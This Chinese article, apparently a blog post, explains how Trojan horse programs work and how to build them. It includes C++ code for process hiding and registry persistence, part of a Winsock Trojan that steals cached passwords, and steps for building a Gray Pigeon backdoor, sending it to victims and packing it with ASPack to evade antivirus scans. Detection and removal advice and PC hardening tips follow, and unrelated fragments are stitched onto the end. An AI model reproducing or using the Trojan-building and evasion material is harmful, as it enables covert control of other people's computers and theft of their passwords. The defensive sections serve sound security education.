大家應該對"木馬"這個名詞都不陌生,很多人感覺自己的“電腦系統變慢了”,“某些文件打不開了”,“打開網頁慢了”就懷疑自己是不是中"病毒木馬"了,其實這里要給大家解釋一下,"病毒"和"木馬"并不是一個統一概念,本質上還是有一些區別的,木馬雖然屬于病毒中的一類,但是要單獨的從病毒類型中間剝離出來.獨立的稱之為"木馬"程序。
木馬和病毒的主要區別:
1、病毒是當已感染的軟件運行時,這些惡性程序向計算機軟件添加代碼,修改程序的工作方式,從而獲取計算機的控制權。
2、木馬是指未經用戶同意進行非授權操作的一種惡意程序。它們可能刪除硬盤上的數據,使系統癱瘓,盜取用戶資料等。木馬程序不能獨立侵入計算機,而是要依靠黑客來進行傳播,它們常常被偽裝成"正常"軟件進行散播。
3、他們最大的區別就是病毒具有感染性,而木馬一般不具有感染性,另外,病毒入侵后立刻有感覺 ,而木馬入侵后希望你沒有感覺,這樣才有利于她"開展工作"。
好的,大家理解了木馬和病毒的區別以后,今天咱們進入正題,闡述一下"木馬程序的原理與實現"!
1、 木馬的由來和定義
由來:
先講個故事,故事發生在在三千多年的古希臘,特洛伊的王子帕里斯愛上了斯巴達國王的妻子——絕世美女海倫。王子把她帶回了特洛伊古城,這時斯巴達王非常的憤怒,他找到了自己的哥哥,邁錫尼國王阿加伽門農,請求他的的幫忙,阿伽門農正好也希望征服特洛伊,于是借此機會建立了一支希臘聯軍討伐特洛伊古城。然后事情卻沒那么簡單,建軍圍攻了特洛伊古城9年仍未攻下,到了第十年,將領奧德修斯想出一計,將一批勇士藏于一批巨大的木馬腹內,放在城外,大部隊則佯裝退軍。特洛伊人以為敵軍已退,就打開城門,打掃戰場,并把敵軍留下的那只木馬作為戰利品帶進了城中。全程飲酒狂飲,到了夜間,全城軍民進入夢鄉,而埋伏在木馬中的勇士們跳了出來,并打開城門四處放火,城外將士一擁而入,部隊里應外合,攻下了特洛伊城池。后代稱這只大木馬為"特洛伊木馬"。后來,人們在寫文章時,就常用"特洛伊木馬"這一典故比作在敵方營壘內埋下伏兵里應外合的活動。
基礎定義:入侵者編寫入侵他人電腦并進行控制和破壞的程序,就叫做"木馬程序"。木馬與計算機網絡中常常要用到的遠程控制軟件有些相似,但由于遠程控制軟件是"善意"的控制,因此通常不具有隱蔽性;"木馬"則完全相反,木馬的目的是要達到 "偷竊"性的遠程控制,如果沒有很強的隱蔽性的話,那就是"毫無價值"的。
2、木馬的主要特點
(1)偽裝性:木馬總是偽裝成其他程序來迷惑管理員。
(2)潛伏性:木馬能夠毫無聲響地打開端口等待外部連接。
(3)隱蔽性:木馬的運行隱蔽,甚至使用任務管理器都看不出來。
(4)自動運行性:當系統啟動時自動運行。
3、木馬被入侵者用來做什么?
(1)入侵
當基于認證和漏洞的入侵無法進行時,就需要考慮使用木馬入侵。
(2)留后門
由于木馬連接不需要系統認證并且隱蔽性好,為了以后還能控制遠程主機,可以種木馬以留后門。
1、基本原理
木馬是一種基于遠程控制的黑客工具,一般來說,木馬程序包括客戶端和服務端兩部分。
其中,客戶端運行在入侵者的操作系統上,是入侵者控制目標主機的平臺;服務端則是運行在目標主機上,是被控制的平臺,一般發送給目標主機的就是服務端文件。
木馬主要是依靠郵件附件、軟件下載、淫穢圖片、通信軟件等途徑進行傳播,然后,木馬通過一定的提示誘使目標主機運行木馬的服務端程序,實現木馬的種植。
例如:入侵者偽裝成目標主機用戶的朋友,發送了一張捆綁有木馬的電子賀卡,當目標主機打開賀卡后,屏幕上雖然會出現賀卡的畫面,但此時木馬服務端程序已經在后臺運行了。
木馬的體積都非常小,大部分在幾KB到幾十KB之間。
當目標主機執行了服務端程序之后,入侵者便可以通過客戶端程序與目標主機的服務端建立連接,進而控制目標主機。
對于通信協議的選擇,絕大多數木馬使用的是TCP/IP協議,但也有使用UDP協議的木馬。
木馬的服務端程序會盡可能地隱蔽行蹤,同時監聽某個特定的端口,等待客戶端的連接;此外,服務端程序為了在每次重新啟動計算機后能正常運行,還需要通過修改注冊表等方法實現自啟動功能。
2、關鍵技術
(一) 隱藏技術
1) 程序隱藏
木馬程序可以利用程序捆綁的方式,將自己和正常的exe 文件進行捆綁。當雙擊運行捆綁后的程序時,正常的exe 文件運行了。程序隱藏只能達到從表面上無法識別木馬程序的目的,但是可以通過任務管理器中發現木馬程序的蹤跡,這就需要木馬程序實現進程隱藏。
2) 進程隱藏
隱藏木馬程序的進程顯示能防止用戶通過任務管理器查看到木馬程序的進程,從而提高木馬程序的隱蔽性。主要有兩種:
API攔截屬于進程偽隱藏方式通過利用Hook技術監控并截獲系統中某些程序對進程顯示的API 函數調用,然后修改函數返回的進程信息,將自己從結果中刪除,導致任務管理器等工具無法顯示該木馬進程。
遠程線程注入屬于進程真隱藏方式 主要是利用CreateRemoteThread函數在某一個目標進程中創建遠程線程,共享目標進程的地址空間,并獲得目標進程的相關權限,從而修改目標進程內部數據和啟動DLL 木馬。
3) 通信隱藏
可以從通信連接的狀況中發現木馬程序的蹤跡。因此,很有必要實現木馬程序的通信隱藏。主要有兩種方式:
端口復用技術,它讓木馬服務端程序共享其他網絡程序已打開的端口和客戶端進行連接,從而防止重新開啟端口降低隱蔽性。關鍵之處在于,木馬程序應增設一個數據包轉交判斷模塊,該模塊控制主機對數據報的轉交選擇。
利用ICMP和HTTP 協議,通常網絡防火墻和入侵檢測系統等安全設備只檢查ICMP報文的首部,對數據部分不做處理。因此,可以將木馬程序的通信數據隱藏在ICMP 報文格式的選項數據字段進行傳送,如把服務端程序向客戶端程序傳輸的數據偽裝成回顯請求報文,而把客戶端程序向服務端程序傳輸的數據偽裝成回顯應答報文。這樣,就可以通過PING\PINGRESPONSE的方式在木馬服務端程序和客戶端程序之間建立起一個高效的秘密會話信道。利用ICMP 協議傳輸數據還有一個很大的優點,即ICMP 屬于IP 層協議,它在傳輸數據時并不使用任何端口,從而具有更好的隱蔽性。
(二) 木馬自啟動技術
自啟動功能是必不可少的。自啟動可以保證木馬不會因為用戶的一次關機操作而徹底失去作用。下面介紹經常使用的幾種方法。
1)在Win.ini中啟動
在Win.ini文件中的[Windows]字段中有啟動命令"load="和"run="。默認情況下,"="后面是空白的。這兩項分別是用來當系統啟動時自動加載和運行的程序,如果木馬程序加載到這兩項中,那么系統啟動后即可自動地加載和運行。
2)在System.ini中啟動
在System.ini文件中的[boot]字段的shell=Explorer.exe中是木馬常用的隱藏加載的地方。木馬最慣用的伎倆就是把本應是"Explorer.exe"變成自己的程序名,名稱偽裝成幾乎與Explorer.exe一樣,只需稍稍改"Explorer"的字母"l"改為數字"1",或者把其中的"o"改為數字"0",這些改變如果不仔細留意是很難被人發現的。或者是shell=Explorer.exe 的后面加上木馬程序的路徑,如:shell=Explorer.exe sample.exe,這里的sample.exe就是木馬服務端程序。
3)通過啟動組實現自啟動
啟動組是專門用來實現應用程序自啟動的地方。啟動組文件夾的位置為"C:\Documents and Settings\All Users\「開始」菜單\程序\啟動"。
[注:"All Users"即對所有用戶都有作用]
4)通過注冊表啟動
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run,
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunOnce,
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run,
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunOnce
5)修改文件關聯
修改文件關聯是木馬常用手段。
例如:在正常情況下,txt文件的打開方式為notepad.exe文件,但一旦中了文件關聯木馬,則txt文件打開方式就會被修改為用木馬程序打開。例如著名的國產木馬冰河就是這樣。
6)捆綁文件
入侵者可以通過一些黑客軟件,如著名的Deception Binder,完成文件的捆綁,之后將這些捆綁文件放到網站、FTP、BT等資源下載場所,當用戶下載并執行捆綁文件,同時就啟動了木馬的服務端程序。
(三) 木馬植入技術
1)圖標偽裝
黑客為了迷惑用戶,將木馬服務端程序的圖標換成一些常見的文件類型的圖標。
2)文件捆綁欺騙
文件捆綁就是通過使用文件捆綁器將木馬服務端和正常的文件捆綁在一起,達到欺騙對方從而運行捆綁的木馬程序的目的。
例如,把木馬服務端和某個游戲,或者flash文件捆綁成一個文件通過QQ或郵件發送給受害者。當受害者對這個游戲或flash感興趣而下載到機器上,并開打了該文件,木馬程序就會悄悄運行。
3)定制端口
很多老式的木馬端口都是固定的,只要查一下特定的端口就知道感染了什么木馬。現在很多新式的木馬都加入了定制端口的功能,控制端用戶可以在1024~65535之間任選一個端口作為木馬端口,一般不選1024以下的端口,這就給判斷所感染的木馬類型帶來了麻煩。
4)擴展名欺騙
例如,圖像文件的擴展名不可能是.exe,而木馬程序的擴展名又必定是.exe,大多數用戶在看到擴展名為".exe"的文件時,就會很小心。于是設計者就將文件名進行一些改變,例如將"picture.tiff"更改為"pitcture.tiff.exe",因為windows默認是不顯示擴展名的,于是用戶就只能看到"picture.tiff",很容易將其作為一個圖片文件而啟動。
1、木馬的演變
從木馬的發展來看,把木馬分為五代。
1)第一代木馬
第一代的木馬功能相當簡單,典型的有back orifice(簡稱:BO)、netSpy等,早就退出了歷史的舞臺。
第一代windows木馬只是一個將自己偽裝成特殊的程序或文件的軟件,如偽裝成一個用戶登錄窗口,當用戶運行了木馬偽裝的登錄窗口,輸入用戶名和密碼后,木馬將自動記錄數據并轉發給入侵者。
2)第二代木馬
提供了幾乎所有能夠進行的遠程控制操作。國內最具代表性的就是冰河木馬和廣外女生。
3)第三代木馬
繼續完善了連接與文件傳輸技術,并增加了木馬穿透防火墻的功能,并出現了"反彈端口"技術,如國內的灰鴿子木馬軟件。
4)第四代木馬
利用了遠程線程插入技術,將木馬線程插入DLL線程中,使系統更加難以發現木馬的存在與入侵的連接方式。
5)第五代木馬
相對于第四代木馬,功能更加全面。而且應用DLL技術后在目標主機的計算機中不生成新的文件。
2、木馬的種類
1)破壞型
破壞并刪除文件,自動刪除電腦上的dll、EXE等文件,以達到使被感染的電腦癱瘓的目的。
2)密碼發送型
密碼發送型的木馬正是專門為了盜取被感染計算機上的密碼而編寫的,該木馬一旦被執行,就會自動搜索內存,Cache,臨時文件夾以及各種敏感密碼文件,一旦搜索到有用的密碼,木馬就會利用免費的電子郵件服務將密碼發送到指定的郵箱。從而達到獲取密碼的目的,所以這類木馬大多使用25號端口發送E-mail。
3)遠程訪問型
遠程訪問型木馬程序一般包括客戶端程序和服務端程序,在目標主機上執行了服務端程序之后,只要用戶知道目標主機的IP地址或主機名,就可以與目標主機連接,連接成功后,用戶通過客戶端程序提供的遠程操作功能就可以實現對目標主機的監視與控制。
大名鼎鼎的木馬冰河就是一個遠程訪問型特洛伊木馬。
4)鍵盤記錄木馬
記錄目標主機用戶的鍵盤操作且將鍵盤操作記錄在文件中,入侵者可以獲取這些文件并在文件中獲取諸如密碼等有用的信息。
對于這種類型的木馬,郵件發送功能也是必不可少的。
5)Dos攻擊木馬
Dos全名是Denial of service(拒絕服務)。它故意攻擊網絡協議的缺陷或直接通過某種手段耗盡被攻擊對象的資源,目的是讓目標計算機或網絡無法提供正常的服務或資源訪問,使目標系統服務停止響應甚至崩潰。
當黑客侵入一臺計算機并種上了DOS攻擊木馬后,日后這臺計算機就成了黑客DOS攻擊的最得力的幫手。黑客控制的計算機數量越多,發動DOS攻擊取得成功的概率就越大,所以,這種木馬的危害不是體現在被感染的計算機上,而是體現在攻擊者可以利用它來攻擊網絡上的其他的計算機。
全名是 (),很多攻擊源一起攻擊某臺服務器就組成了DDOS攻擊。
6)代理木馬
給被控制的肉雞種上代理木馬,讓其變成入侵者發動攻擊的跳板就是代理木馬最重要的任務。通過代理木馬,入侵者可以在匿名的情況下使用Telnet等程序,從而隱蔽自己的蹤跡。
7)FTP木馬
這種木馬可能是最簡單和古老的木馬了,它的惟一功能就是打開21端口,等待用戶連接。現在新FTP木馬還加上了密碼功能,這樣,只有攻擊者本人才知道正確的密碼,從而進入對方的計算機。
8)程序殺手木馬
常見的查殺木馬軟件有瑞星,Norton Anti-Virus及木馬清除大師等。程序殺手木馬的功能就是關閉目標機器上運行的木馬查殺程序,讓木馬更好地發揮作用。
9)反彈端口型木馬
木馬開發者在分析了防火墻的特性后發現 :防火墻對于連入的鏈接往往會進行非常嚴格的過濾,但是對于連出的鏈接卻疏于防范。
于是,與一般的木馬相反,反彈端口型木馬在服務端 (被控制端)使用主動端口,客戶端 (控制端)使用被動端口。
木馬定時監測客戶端(控制端)的存在,發現客戶端(控制端)上線立即主動連接控制端打開的主動端口;
為了隱蔽起見,客戶端 (控制端)的被動端口一般設置為80(瀏覽網頁必須開的端口),這樣,即使用戶使用端口掃描軟件檢查自己的端口,發現的也是類似TCP UserIP:1026 ControllerIP:80 ESTABLISHED的情況,不明真相的用戶就會以為自己在瀏覽網頁,并且,防火墻一般不會禁止用戶向外連接80端口。
主流木馬:
1、 木馬中的關鍵技術實現(附源碼)
1) 木馬程序隱藏技術
通過注冊服務程序,實現進程偽隱藏的方法:
WINAPI WinMain(HINSTANCE, HINSTANCE, LPSTR, int) { try { DWORD dwVersion=GetVersion();//取得Windows的版本號 if (dwVersion >=0x80000000) // Windows 9x隱藏任務列表 { int (CALLBACK *rsp)(DWORD,DWORD); HINSTANCE dll=LoadLibrary("KERNEL32.DLL");//裝入KERNEL32.DLL rsp=(int(CALLBACK *)(DWORD,DWORD))GetProcAddress(dll,"RegisterServiceProcess");//找到RegisterServiceProcess的入口 rsp(NULL,1);//注冊服務 FreeLibrary(dll);//釋放DLL模塊 } } catch (Exception &exception)//處理異常事件 { //處理異常事件 } return 0; }
2) 程序的自啟動運行技術
展示一段通過修改HKEY_LOCAL_MACHINE/SOFTWARE/Microsoft/Windows/CurrentVersions/Run鍵值來實現自啟動的程序:
HKEY hkey; AnsiString NewProgramName=AnsiString(sys)+AnsiString("+PName/">//")+PName unsigned long k; k=REG_OPENED_EXISTING_KEY; RegCreateKeyEx(HKEY_LOCAL_MACHINE, "SOFTWARE//MICROSOFT//WINDOWS//CURRENTVERSION//RUN//", 0L, NULL, REG_OPTION_NON_VOLATILE,KEY_ALL_ACCESS|KEY_SET_VALUE, NULL, &hkey,&k); RegSetValueEx(hkey, "BackGroup", 0, REG_SZ, NewProgramName.c_str(), NewProgramName.Length()); RegCloseKey(hkey); if (int(ShellExecute(Handle, "open", NewProgramName.c_str(), NULL, NULL, SW_HIDE))>32) { WantClose=true; Close(); } else { HKEY hkey; unsigned long k; k=REG_OPENED_EXISTING_KEY; long a=RegCreateKeyEx(HKEY_LOCAL_MACHINE, "SOFTWARE//MICROSOFT//WINDOWS//CURRENTVERSION//RUN", 0, NULL, REG_OPTION_NON_VOLATILE, KEY_SET_VALUE,NULL, &hkey,&k); RegSetValueEx(hkey, "BackGroup", 0, REG_SZ, ProgramName.c_str(), ProgramName.Length()); int num=0; char str[20]; DWORD lth=20; DWORD type; char strv[255]; DWORD vl=254; DWORD Suc; do{ Suc=RegEnumValue(HKEY_LOCAL_MACHINE, (DWORD)num,str, NULL, &type, strv,&vl); if (strcmp(str,"BGroup")==0) { DeleteFile(AnsiString(strv)); RegDeleteValue(HKEY_LOCAL_MACHINE,"BGroup"); break; } }while(Suc==ERROR_SUCCESS); RegCloseKey(hkey); }
2、 WINSOCK編程完成一個簡單"木馬程序"實現(附源碼)
用異步SOCKET方式, 直接調用WINSOCK API,WIN SDK寫的木馬(VC,C++ BUILDER下均編譯,調試通過),無須客戶端,編譯后才幾十K.實現了些 主要功能,文件瀏覽,上傳,下載(均支持統配符),改變目錄,獲取系統信息,從CACHE取密碼, 執行文件,顯示進程, 發送消息,關機, 還有些控制功能。
源代碼如下:
#include <windows.h> #include <winsock.h> #include <mmsystem.h> #pragma hdrstop #include <condefs.h> #pragma argsused #define RUN "http://WinMon32.exe" //注冊服務 #define SERVICE_PROC 1 //卸載服務 #define UNSERVICE_PROC 0 #define TH32CS_SNAPPROCESS 0x00000002 #define PROCESS_HANDLE_NAME 255 //緩沖區長度 #define dwBuffSize 2048 //命令行長度 #define dwComm 50 #define PORT 9102 #define WM_SOCKET WM_USER+1 #define PROMPT "LanLan://>" DWORD dwVersion=MAKEWORD(1,1); DWORD dwFlag=TRUE; WSADATA wsaData; SOCKET CreateSock,NewSock; SOCKADDR_IN Sock_in,NewSock_in; LPTSTR szReadBuff,Ob,TempBuff; int addrlen; //CACHE PASSWORD結構 typedef struct tagPASSWORD_CACHE_ENTRY { WORD cbEntry; WORD cbResource; WORD cbPassword; BYTE iEntry; BYTE nType; char abResource[1]; } PASSWORD_CACHE_ENTRY; typedef BOOL (WINAPI *CACHECALLBACK)(PASSWORD_CACHE_ENTRY *pce,DWORD); //CACHE PASSWORD函數原形 typedef WORD (WINAPI *PWNetEnumCachedPasswords)( LPSTR pbPrefix, DWORD cbPrefix, DWORD nType, CACHECALLBACK pfnCallback, DWORD UNKNOWN ); //TOOLHELP32 結構 typedef struct tagPROCESSENTRY32 { DWORD dwSize; DWORD cntUsage; DWORD th32ProcessID; DWORD th32DefaultHeapID; DWORD th32ModuleID; DWORD cntThreads; DWORD th32ParentProcessID; LONG pcPriClassBase; DWORD dwFlags; TCHAR szExeFile[MAX_PATH]; } PROCESSENTRY32; typedef PROCESSENTRY32 * LPPROCESSENTRY32; 注:由于文章篇幅限制剩余源碼可以私信我單獨發送
3、 利用"灰鴿子"工具軟件制作木馬
灰鴿子簡介: 灰鴿子是國內一款著名后門。比起前輩冰河、黑洞來,灰鴿子可以說是國內后門的集大成者。其豐富而強大的功能、靈活多變的操作、良好的隱藏性使其他后門都相形見絀。客戶端簡易便捷的操作使剛入門的初學者都能充當黑客。當使用在合法情況下時,灰鴿子是一款優秀的遠程控制軟件。但如果拿它做一些非法的事,灰鴿子就成了很強大的黑客工具。
方法如下:
首先,在電腦上安裝灰鴿子,然后進入其主頁面
接下來我們點自動上線FTP服務器就是你FTP空間的地址
下來點配置服務程序,先點自動上線設置,IP通知那里添上你FTP在HTTP的訪問地址加上你放IP文件的地址
最終我們要把服務器配置成功
這時你只要將自己生成的木馬給別人運行就可以了,這樣他就會上線如下圖
如果設了密碼就要輸入連接密碼哦
大家知道現在的病毒查殺軟件對已知的木馬程序很容易就查殺掉,所以當你好不容易制作的木馬傳播出去后,輕松就被客戶端查殺掉了,這時我們就要利用加殼技術,給木馬套個"殼"防止被殺
1、什么是加殼?
加殼:是一種通過一系列數學運算,將可執行程序文件(EXE)或動態鏈接庫文件(DLL)的編碼進行改變(目前加殼軟件還可以壓縮、加密),以達到縮小文件體積或加密程序編碼的目的。當被加殼的程序運行時,外殼程序先被執行,然后由這個外殼程序負責將用戶原有的程序在內存中解壓縮,并把控制權交還給脫殼后的真正程序。
常見到的壓縮殼有"UPX"、"北斗程序壓縮"、"ASPack"等,加密殼有"PE-Armor"、"ASProtect"等等。
2、利用ASPack加殼防止木馬被查殺:
步驟1:下載并運行ASPack2.28軟件,即可打開ASPack 2.28主窗口,如圖1-69所示。在"選項"選項卡中勾選"壓縮資源"、"加載后立即運行"及"使用Windows DLL 加載器"等復選項,如下圖所示:
步驟2:選擇"打開文件"選項卡,單擊"打開"按鈕,即可打開"選擇要壓縮的文件"對話框,在其中選擇需要加殼的文件,如下圖所示。
步驟3:單擊"打開"按鈕,即可開始進行壓縮,如下圖所示。在"壓縮"選項卡中可進行壓縮、測試操作,并在完成之后生成加殼后的文件。
使用方法比較簡單,可以自行測試一下效果!
六、 如何識別與查殺木馬程序
識別方法:
1、檢查網絡連接情況
由于不少木馬會主動偵聽端口,或者會連接特定的IP和端口,所以我們可以在沒有正常程序連接網絡的情況下,通過檢查網絡連情情況來發現木馬的存在。
具體的步驟是點擊"開始" "運行" "cmd",然后輸入netstat -an這個命令能看到所有和自己電腦建立連接的IP以及自己電腦偵聽的端口,它包含四個部分——proto(連接方式)、local address(本地連接地址)、foreign address(和本地建立連接的地址)、state(當前端口狀態)。通過這個命令的詳細信息,我們就可以完全監控電腦的網絡連接情況。
2、查看目前運行的服務
服務是很多木馬用來保持自己在系統中永遠能處于運行狀態的方法之一。我們可以通過點擊"開始" "運行" "cmd",然后輸入"net start"來查看系統中究竟有什么服務在開啟,如果發現了不是自己開放的服務,我們可以進入"服務"管理工具中的"服務",找到相應的服務,停止并禁用它。
3、檢查系統啟動項
由于注冊表對于普通用戶來說比較復雜,木馬常常喜歡隱藏在這里。檢查注冊表啟動項的方法如下:點擊"開始" "運行" "regedit",然后檢查HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion下所有以"run"開頭的鍵值;HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion下所有以"run"開頭的鍵值;HKEY-USERS\.Default\Software\Microsoft\Windows\CurrentVersion下所有以"run"開頭的鍵值。
Windows安裝目錄下的System.ini也是木馬喜歡隱蔽的地方。打開這個文件看看,在該文件的[boot]字段中,是不是有shell=Explorer.exe file.exe這樣的內容,如有這樣的內容,那這里的file.exe就是木馬程序了!
4、檢查系統帳戶
惡意的攻擊者喜在電腦中留有一個賬戶的方法來控制你的計算機。他們采用的方法就是激活一個系統中的默認賬戶,但這個賬戶卻很少用的,然后把這個賬戶的權限提升為管理員權限,這個帳戶將是系統中最大的安全隱患。惡意的攻擊者可以通過這個賬戶任意地控制你的計算機。針對這種情況,可以用以下方法對賬戶進行檢測。
點擊"開始";"運行" "cmd",然后在命令行下輸入net user,查看計算機上有些什么用戶,然后再使用"net user 用戶名"查看這個用戶是屬于什么權限的,一般除了Administrator是administrators組的,其他都不應該屬于administrators組,如果你發現一個系統內置的用戶是屬于administrators組的,那幾乎可以肯定你被入侵了。快使用"net user用戶名/del"來刪掉這個用戶吧!
5、利用系統進程識別木馬
任何病毒和木馬存在于系統中,都無法徹底和進程脫離關系,即使采用了隱藏技術,也還是能夠從進程中找到蛛絲馬跡,因此,查看系統中活動的進程成為我們檢測病毒木馬最直接的方法。
木馬常利用的系統進程有:svchost.exe、explorer.exe、iexplore.exe、winLOGOn.exe等進程。
(1)svchost.exe
常被病毒冒充的進程名有:svch0st.exe、schvost.exe、scvhost.exe。隨著Windows系統服務不斷增多,為了節省系統資源,微軟把很多服務做成共享方式,交由svchost.exe進程來啟動。而系統服務是以動態鏈接庫(DLL)形式實現的,它們把可執行程序指向scvhost,由cvhost調用相應服務的動態鏈接庫來啟動服務。
我們可以打開"控制面板"→"治理工具"→服務,雙擊其中"ClipBook"服務,在其屬性面板中可以發現對應的可執行文件路徑為"C:\WINDOWS\system32\clipsrv.exe"。再雙擊"Alerter"服務,可以發現其可執行文件路徑為"C:\WINDOWS\system32\svchost.exe -k LocalService",而"Server"服務的可執行文件路徑為"C:\WINDOWS\system32\svchost.exe -k netsvcs"。正是通過這種調用,可以省下不少系統資源,因此系統中出現多個svchost.exe,其實只是系統的服務而已。
在Windows系統中一般存在2個svchost.exe進程,一個是RPCSS(RemoteProcedureCall)服務進程,另外一個則是由很多服務共享的一個svchost.exe;而在WindowsXP中,則一般有4個以上的svchost.exe服務進程。假如svchost.exe進程的數量多于5個,就要小心了,很可能是病毒假冒的,檢測方法也很簡單,使用一些進程治理工具,例如Windows優化大師的進程治理功能,查看svchost.exe的可執行文件路徑,假如在"C:\WINDOWS\system32"目錄外,那么就可以判定是病毒了。
(2)explorer.exe
常被病毒冒充的進程名有:iexplorer.exe、expiorer.exe、explore.exe。explorer.exe就是我們經常會用到的"資源治理器"。假如在"任務治理器"中將explorer.exe進程結束,那么包括任務欄、桌面、以及打開的文件都會統統消失,單擊"任務治理器"→"文件"→"新建任務",輸入"explorer.exe"后,消失的東西又重新回來了。explorer.exe進程的作用就是讓我們治理計算機中的資源。
explorer.exe進程默認是和系統一起啟動的,其對應可執行文件的路徑為"C:\Windows"目錄,除此之外則為病毒。
(3)iexplore.exe
常被病毒冒充的進程名有:iexplorer.exe、iexploer.exeiexplorer.exe進程和上文中的explorer.exe進程名很相像,因此比較輕易搞混,其實iexplorer.exe是Microsoft Internet Explorer所產生的進程,也就是我們平時使用的IE瀏覽器。知道作用后辨認起來應該就比較輕易了,iexplorer.exe進程名的開頭為"ie",就是IE瀏覽器的意思。
iexplore.exe進程對應的可執行程序位于C:\ProgramFiles\InternetExplorer目錄中,存在于其他目錄則為病毒,除非你將該文件夾進行了轉移。此外,有時我們會發現沒有打開IE瀏覽器的情況下,系統中仍然存在iexplore.exe進程,這要分兩種情況:
1) 病毒假冒iexplore.exe進程名。
2) 病毒偷偷在后臺通過iexplore.exe干壞事。
(4)rundll32.exe
常被病毒冒充的進程名有:rundl132.exe、rundl32.exe。rundll32.exe在系統中的作用是執行DLL文件中的內部函數,系統中存在多少個Rundll32.exe進程,就表示Rundll32.exe啟動了多少個的DLL文件。其實rundll32.exe我們是會經常用到的,他可以控制系統中的一些dll文件,舉個例子,在"命令提示符"中輸入"rundll32.exe user32.dll,LockWorkStation",回車后,系統就會快速切換到登錄界面了。rundll32.exe的路徑為"C:\Windows\system32",在別的目錄則可以判定是病毒。
(5)spoolsv.exe
常被病毒冒充的進程名有:spoo1sv.exe、spolsv.exe。spoolsv.exe是系統服務"Print Spooler"所對應的可執行程序,其作用是治理所有本地和網絡打印隊列及控制所有打印工作。假如此服務被停用,計算機上的打印將不可用,同時spoolsv.exe進程也會從計算機上消失。假如你不存在打印機設備,那么就把這項服務關閉吧,可以節省系統資源。停止并關閉服務后,假如系統中還存在spoolsv.exe進程,這就一定是病毒偽裝的了。
查殺方法:
手工查殺:
1、運行任務管理器,殺掉木馬進程。
2、檢查注冊表中RUN、RUNSERVEICE等幾項,先備份,記下可以啟動項的地址, 再將可疑的刪除。
3、刪除上述可疑鍵在硬盤中的執行文件。
4、一般這種文件都在WINNT,SYSTEM,SYSTEM32這樣的文件夾下,他們一般不會單獨存在,很可能是有某個母文件復制過來的,檢查C、D、E等盤下有沒有可疑的.exe,.com或.bat文件,有則刪除之。
5、檢查注冊表HKEY_LOCAL_MACHINE和HKEY_CURRENT_USER\SOFTWARE\Microsoft\Internet Explorer\Main中的幾項(如Local Page),如果被修改了,改回來就可以。
6、檢查HKEY_CLASSES_ROOT\txtfile\shell\open\command和 HKEY_CLASSES_ROOTxtfileshellopencommand等等幾個常用文件類型的默認打開程序是否被更改。這個一定要改回來。很多病毒就是通過修改.txt文件的默認打開程序讓病毒在用戶打開文本文件時加載的。
利用工具查殺:
查殺木馬好用的工具有LockDown、The Clean、木馬克星、金山木馬專殺、木馬清除大師、木馬分析專家等,利用這些工具絕大多數的已知木馬都可以查殺掉。
把手教你
如何設置電腦更安全
你的電腦設密碼了么?
password?還是123456?
這些弱口令破解起來
0.01秒都不到!
聽說過勒索病毒么?
不要以為它們離你很遠
也許你的電腦開了“后門”給黑客
你自己都不知道!
如果不想你的電腦
被黑客遠程操控
那就跟著我們一起學
手把手教你如何設置
才能讓我們的電腦更加安全
(以windows操作系統為例)
↓ ↓ ↓
設置一個屬于你的本地個人賬戶,登錄密碼必須為強密碼(至少包含8位,包括數字、大小寫字母和特殊符號,不包含姓名、生日、手機號碼等個人信息),密碼建議每隔30天進行更換。
1
點擊【控制面板】選擇【用戶賬戶】,選擇【更改賬戶類型】,選擇【更改賬戶名稱】,就可以修改本地你的個人登錄賬號。
2
在電腦【設置】中選擇【賬戶】,進入賬戶設置頁面后,可以看到【登錄選項】提供了多種登錄設置方式,可以點擊【密碼】,在【密碼】中設置復雜密碼確保賬號安全。
3
電腦的操作系統一般是支持多用戶的,不同的家庭成員使用同一臺電腦,可以通過設置不同的賬號來保留各自對操作系統的環境設置。在【賬戶】的【家庭和其他賬戶】中可以設置其他用戶的賬號和密碼信息。如果想創建的是本地賬戶,可以選擇“添加一個沒有Microsoft賬戶的用戶”。
設置屏幕自動保護的等待時間為5分鐘-10分鐘,且在恢復使用時使用密碼保護。
1
進入電腦【設置】,選擇【個性化】。
2
找到【鎖屏界面】,點擊【屏幕保護程序設置】。
3
設置等待時間為5-10分鐘,不宜過長,并且勾選【在恢復時顯示登錄屏幕】。這樣當你離開或者沒有操作電腦時,5-10分鐘之后會進入屏幕保護,如果要重新使用電腦,就必須再次輸入登錄密碼。
關閉電腦的遠程連接,也不要安裝任何第三方遠控軟件。
1
點擊【設置】,選擇【系統】,找到【遠程桌面】選項。
2
在遠程桌面選項卡下,選擇關閉“遠程桌面”。
關閉135、137、138、139、445和3389等高危端口。
1
在【控制面板】中選擇【系統和安全】,找到【Windows Denfender 防火墻】。
2
選擇【高級設置】,進入高級設置頁面,點擊左邊的【入站規則】,再點擊右邊的【新建規則】,選擇【端口】,進入下一步。其中高危端口135、139、445、3389屬于TCP端口,137、138屬于UDP端口。將對應的高危端口添加到規則中。
3
點擊【阻止連接】,進入下一步。選擇默認的全選應用范圍,進入下一步。再根據需要自定義規則名稱,例如“關閉高危TCP端口”。完成后,在【入站規則】中會看到添加的“關閉高危TCP端口”的規則。
除了上述幾點
使用電腦時
還有哪些需要注意的呢?
電腦安全不僅僅關系到
電腦本身的使用效果
與我們個人的數據安全
更是息息相關
提高網絡安全意識
做個生活中的有心人
多多了解網絡安全防護知識和技巧
為自己的電腦上一把“安心鎖”
值班編輯:於俊立、左潔
警方提示:詐騙新伎倆“FaceTime+醫療保險” 千萬別上當!
個可不是個明智的辦法,而且可以說是很笨的辦法,你如果想刪除還是明著跟他說吧
1,而且你千萬不要接收別人發給你的號稱是木馬病毒的東西,有可能會讓你自己先中毒。
2,建議您現在立刻下載騰訊電腦管家“8.3”最新版,對電腦首先進行一個體檢,打開所有防火墻避免系統其余文件被感染。
3,打開殺毒頁面開始查殺,切記要打開小紅傘引擎。
4,如果普通查殺不能解決問題,您可以打開騰訊電腦管家---工具箱---頑固木馬專殺- 進行深度
掃描。
5,查殺處理完所有病毒后,立刻重啟電腦,再進行一次安全體檢,清除多余系統緩存文件,避免二次感染。
如果您對我的答案不滿意,可以繼續追問或者提出寶貴意見,謝謝
